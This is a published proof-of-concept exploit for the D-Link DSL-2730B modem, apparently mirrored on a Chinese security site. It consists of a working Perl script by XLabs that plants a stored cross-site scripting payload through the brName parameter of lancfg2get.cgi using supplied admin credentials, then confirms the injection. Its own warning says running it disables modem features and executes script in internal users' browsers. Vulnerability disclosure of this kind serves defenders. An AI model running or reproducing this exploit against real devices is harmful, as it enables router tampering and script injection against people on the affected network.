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D-Link DSL-2730B Modem - XSS Injection Stored Exploit Lancfg2get.cgi
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来源：www.xlabs.com.br 作者：Correa 发布时间：2015-01-21
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# Exploit Title: D-Link DSL-2730B Modem lancfg2get.cgi Exploit XSS Injection Stored
# Date: 11-01-2015
# Exploit Author: Mauricio Correa
# Vendor Homepage: www.dlink.com
# Hardware version: C1
# Version: GE 1.01
# Tested on: Windows 8 and Linux
#!/usr/bin/perl
#
# Date dd-mm-aaaa: 11-11-2014
# Exploit for D-Link DSL-2730B
# Cross Site Scripting (XSS Injection) Stored in lancfg2get.cgi
# Developed by Mauricio Corrêa
# XLabs Information Security
# WebSite: www.xlabs.com.br
# More informations: www.xlabs.com.br/blog/?p=339
#
# CAUTION!
# This exploit disables some features of the modem,
# forcing the administrator of the device, accessing the page to reconfigure the modem again,
# occurring script execution in the browser of internal network users.
#
# Use with caution!
# Use at your own risk!
#
use strict;
use warnings;
use diagnostics;
use LWP::UserAgent;
use HTTP::Request;
use URI::Escape;
my $ip = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];
$ip = $1 if($ip=~/(.*)\/$/);
if (@ARGV != 3){
print "\n";
print "XLabs Information Security www.xlabs.com.br\n";
print "Exploit for POC D-Link DSL-2730B Stored XSS Injection in lancfg2get.cgi\n";
print "Developed by Mauricio Correa\n";
print "Contact: mauricio\@xlabs.com.br\n";
print "Usage: perl $0 http:\/\/host_ip\/ user pass\n";
}else{
print "XLabs Information Security www.xlabs.com.br\n";
print "Exploit for POC D-Link DSL-2730B Stored XSS Injection in lancfg2get.cgi\n";
print "Developed by Mauricio Correa\n";
print "Contact: mauricio\@xlabs.com.br\n";
print "[+] Exploring $ip\/ ...\n";
my $payload = "%27;alert(%27XLabsSec%27);\/\/";
my $ua = new LWP::UserAgent;
my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" );
$hdrs->authorization_basic($user, $pass);
chomp($ip);
print "[+] Preparing exploit...\n";
my $url_and_xpl = "$ip/lancfg2get.cgi?brName=$payload";
my $req = new HTTP::Request("GET",$url_and_xpl,$hdrs);
print "[+] Prepared!\n";
print "[+] Requesting and Exploiting...\n";
my $resp = $ua->request($req);
if ($resp->is_success){
print "[+] Successfully Requested!\n";
my $url = "$ip/lancfg2.html";
$req = new HTTP::Request("GET",$url,$hdrs);
print "[+] Checking that was explored...\n";
my $resp2 = $ua->request($req);
if ($resp2->is_success){
my $resultado = $resp2->as_string;
if(index($resultado, uri_unescape($payload)) != -1){
print "[+] Successfully Exploited!";
}else{
print "[-] Not Exploited!";
}
}
}else {
print "[-] Ops!\n";
print $resp->message;
}
}
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